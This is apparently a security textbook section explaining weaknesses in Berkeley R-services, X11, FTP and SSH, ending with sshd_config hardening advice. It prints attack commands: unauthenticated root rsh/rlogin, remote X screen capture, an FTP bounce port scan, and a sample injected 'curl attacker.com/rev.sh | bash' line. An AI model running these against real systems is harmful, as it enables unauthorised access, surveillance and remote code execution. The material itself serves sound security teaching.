9.4 Legacy Unix Services: R-Services, X11, FTP & Modern SSH

9.4 Legacy Unix Services: R-Services, X11, FTP & Modern SSH

Legacy Unix environments were frequently designed under the implicit assumption of perimeter perimeter defense and cooperative trust among academic and research institutions. Protocols developed in this era prioritized seamless cross-host execution over cryptographic authentication and data confidentiality. While modern enterprise networks have largely migrated to hardened protocols such as Secure Shell (SSH), legacy services such as Berkeley R-services, the X11 Window System, and unencrypted File Transfer Protocol (FTP) remain prevalent across industrial control systems, legacy mainframes, and unhardened enterprise subnets.

---

Berkeley "R" Services (Remote Services)

Developed in the 1980s at the University of California, Berkeley for 4.2BSD Unix, the Berkeley Remote Services suite provides remote terminal access, command execution, and file copying across Unix systems.

+-----------------------------------------------------------------------------+
|                          BERKELEY R-SERVICES SUITE                          |
+-----------------------------------------------------------------------------+
| Daemon   | Protocol & Port | Command  | Authentication Mechanism            |
+----------+-----------------+----------+-------------------------------------+
| rlogind  | TCP Port 513    | rlogin   | Host trust (hosts.equiv / .rhosts)  |
| rshd     | TCP Port 514    | rsh      | Host trust (Non-interactive command)|
| rexecd   | TCP Port 512    | rexec    | Cleartext username & password       |
+-----------------------------------------------------------------------------+

Trust Architecture: /etc/hosts.equiv and .rhosts

Rather than requiring cryptographic handshakes or password challenges, R-services establish host-to-host trust relationships based entirely on source IP addresses and claimed usernames.

Authentication is controlled via two configuration files:

1. /etc/hosts.equiv (System-Wide Trust): Controls system-level trust relationships. If a remote client hostname or IP address is listed in /etc/hosts.equiv, any user on that remote system can log into the local system with the same username without providing a password (with the exception of root, which ignores hosts.equiv for security reasons).
2. ~/.rhosts (Per-User Trust): Located in individual user home directories (including /root/.rhosts). A user can specify which remote hosts and users are authorized to log into their specific account without a password.

# Syntax for /etc/hosts.equiv and ~/.rhosts:
# [+-][hostname/IP] [+-][username]

# Secure explicit configuration:
workstation1.corp.lan  alice
192.168.1.100          bob

# DANGEROUS WILDCARD MISCONFIGURATION:
+ +

The Wildcard Vulnerability (+ +)

If an administrator places a plus sign (+) in either field of /etc/hosts.equiv or a user's .rhosts file, it functions as a global wildcard:

• + alone: Any host is trusted.
• + +: ANY user from ANY host on the network can log in without supplying a password!

Exploitation Workflow:

If /root/.rhosts contains + + or is world-writable (allowing an attacker to inject + +), an attacker executes remote commands as root across the network with zero authentication:

# Execute an unauthenticated command via rsh
rsh -l root 192.168.1.50 id
# Output: uid=0(root) gid=0(root) groups=0(root)

# Spawn an interactive root shell via rlogin
rlogin -l root 192.168.1.50

Network Vulnerability: Even without wildcard misconfigurations, because R-services rely on source IP addresses and reverse DNS resolution (PTR records), an attacker capable of ARP spoofing, IP spoofing, or DNS cache poisoning can impersonate a trusted host to bypass R-service authentication.

---

X11 Window System (TCP Ports 6000–6063)

The X Window System (commonly X11 or X) is a network-transparent graphical display protocol. Designed in a client-server architecture, X11 reverses standard client-server terminology:

• The X Server: Runs on the machine with the physical monitor, keyboard, and mouse. It manages the graphical display and captures local input events.
• The X Client: An application (such as xterm, a web browser, or a database GUI) that connects to the X Server over the network to request that windows be rendered and receive input events.

Attacker (Remote System)                             Target Host (X Server)
       |                                                       |
       |--- Connects to TCP Port 6000 (Display :0) ----------->| (xhost + enabled)
       |                                                       |
       |--- Sniff Keystrokes via xspy ------------------------>| (Dumps Passwords)
       |<-- Receives Raw Scan Codes & Typed Characters --------|
       |
       |--- Capture Screen via xwd --------------------------->| (Desktop Screenshot)
       |<-- Returns Full Framebuffer Image --------------------|
       |
       |--- Inject Malicious Commands via xdotool ------------>| (Types into Shell)

Port Allocation Scheme

The X11 server listens on TCP ports starting at base port 6000 plus the display number:

• Display :0 listens on TCP port 6000
• Display :1 listens on TCP port 6001
• Supports up to display :63 on TCP port 6063

Access Control Mechanisms

X11 implements two primary access control mechanisms:

1. xhost (Host-Based Access Control): Regulates access based on client IP address or hostname.
2. xauth / MIT-MAGIC-COOKIE-1 (Cookie Authentication): A 128-bit pseudorandom secret token generated upon display initialization and stored in the user's ~/.Xauthority file. Clients must present the valid magic cookie to establish an X connection.

The xhost + Catastrophe

Administrators troubleshooting graphical display forwarding frequently execute the command:

xhost +

This command completely disables all access control checks on the X server, allowing any host on the network to connect without authentication.

Attack Vectors Against Unauthenticated X11 Servers:

1. Keystroke Sniffing (Keylogging): An attacker connects to the X display and uses utilities like xspy or xinput to monitor raw keyboard events across all open application windows, capturing passwords and sensitive data in real time.
2. Screen Capture (Surveillance): An attacker dumps the active desktop display framebuffer using the standard X Window Dump utility:

   xwd -root -silent -display 192.168.1.50:0 | convert xwd:- screenshot.png
   

3. Keystroke & Mouse Injection: Using automation tools like xdotool or xsendkey, an attacker focuses an open terminal window on the target's desktop and injects arbitrary keystrokes (e.g., typing curl http://attacker.com/rev.sh | bash ), resulting in immediate remote code execution under the interactive desktop user's account.

---

File Transfer Protocol (FTP, TCP Ports 20 & 21)

Standardized in RFC 959, the File Transfer Protocol is an unencrypted client-server protocol utilizing two separate network channels:

• Control Channel (TCP Port 21): Transmits commands (USER, PASS, PORT, PASV, RETR, STOR) and server status codes.
• Data Channel (TCP Port 20 or dynamic ephemeral ports): Transmits directory listings and file data.

Active vs Passive FTP Modes

• Active Mode: The client sends a PORT h1,h2,h3,h4,p1,p2 command over the control channel specifying a client IP and listening port. The server initiates the inbound data connection from server TCP port 20 to the client's specified data port. This frequently fails in modern environments where client-side firewalls drop unsolicited inbound connections.
• Passive Mode (PASV): The client sends PASV. The server opens a dynamically allocated ephemeral port and returns its IP and port in the 227 Entering Passive Mode response. The client initiates the outbound data connection to the server's ephemeral port, traversing client NAT firewalls seamlessly.

Core FTP Vulnerabilities

1. Cleartext Transmission: Credentials and data are transmitted without encryption, exposing usernames and passwords to network packet sniffing via Wireshark or tcpdump.
2. Anonymous FTP Exploitation: Many servers permit logins using username anonymous or ftp with an arbitrary email as the password. If world-writable directories exist (such as /pub/incoming or /incoming), attackers can upload web shells (if the directory is exposed via an adjacent HTTP server) or host illicit content.
3. The FTP Bounce Attack (RFC 959 PORT Abuse): The PORT command does not require that the specified IP address match the client's own IP address. An attacker can instruct the FTP server to connect its data channel to an arbitrary third-party target host and port on an internal network.

# Instructing the FTP server to open a data connection to internal host 10.0.0.5 port 22
PORT 10,0,0,5,0,22
# Server response: 200 PORT command successful.

# Trigger connection attempt
LIST

• If port 22 is open, the FTP server successfully opens the TCP connection and returns 150 Opening data connection.
• If port 22 is closed, the server returns 425 Can't build data connection.

Impact: The attacker uses the FTP server as an unauthorized scanning proxy, mapping internal network ports and bypassing ingress firewall packet filters.

---

Secure Shell (SSH) Security & Hardening

Secure Shell (SSH) was developed to replace insecure cleartext protocols (Telnet, R-services, FTP) with end-to-end cryptographic confidentiality, integrity, and authentication.

SSH Protocol Evolution

• SSHv1: Deprecated and insecure. Utilizes weak CRC-32 integrity checks vulnerable to session injection attacks (the CRC-32 compensation attack) and lacks robust cryptographic key separation.
• SSHv2: Standardized modern protocol utilizing strong key exchange (Diffie-Hellman, ECDH), robust symmetric ciphers (AES-GCM, ChaCha20-Poly1305), and cryptographic integrity via HMAC-SHA2.

Server Configuration Hardening (/etc/ssh/sshd_config)

Penetration testers audit /etc/ssh/sshd_config to identify configuration weaknesses:

# Recommended Enterprise Hardening Directives in /etc/ssh/sshd_config

# 1. Disable legacy SSHv1
Protocol 2

# 2. Prevent direct root login (force privilege escalation auditing)
PermitRootLogin no
# Alternatively: PermitRootLogin prohibit-password (keys only)

# 3. Enforce public-key authentication; disable cleartext passwords
PubkeyAuthentication yes
PasswordAuthentication no

# 4. Mitigate brute-force attacks
MaxAuthTries 3

# 5. Disable legacy host-based trust (R-services style trust)
HostbasedAuthentication no
IgnoreRhosts yes

# 6. Disable X11 forwarding to prevent display hijacking
X11Forwarding no

# 7. Restrict accessible accounts to authorized groups
AllowGroups ssh-users

SSH Key Management and Cryptographic Standards

• Host Keys (/etc/ssh/ssh_host_*_key): Uniquely identify the server. When a client connects, the host key fingerprint is validated against the client's ~/.ssh/known_hosts file, enforcing Trust On First Use (TOFU) to prevent Man-in-the-Middle (MitM) attacks.
• Client Key Formats:
  • RSA (2048 or 4096-bit): Traditional asymmetric algorithm; keys below 2048 bits are considered cryptographically insecure.
  • ECDSA: Elliptic curve algorithm; susceptible to implementation flaws if random number generation is compromised.
  • Ed25519: Modern gold standard based on the Twisted Edwards curve (Curve25519). Features high performance, constant-time operations immune to cache-timing side channels, and compact 256-bit key lengths.
• Key Permissions: OpenSSH strictly enforces file permissions. If a private key (~/.ssh/id_ed25519 or ~/.ssh/id_rsa) is accessible by other users, SSH will abort execution with an explicit error (Permissions 0644 for 'id_rsa' are too open). Private keys must always be secured with mode 0600 (-rw-------).
• Unencrypted Private Keys: Private keys stored without a passphrase represent a critical finding during an assessment. If an attacker gains file read access to an unpassphrased private key, they achieve immediate lateral movement without requiring credential cracking.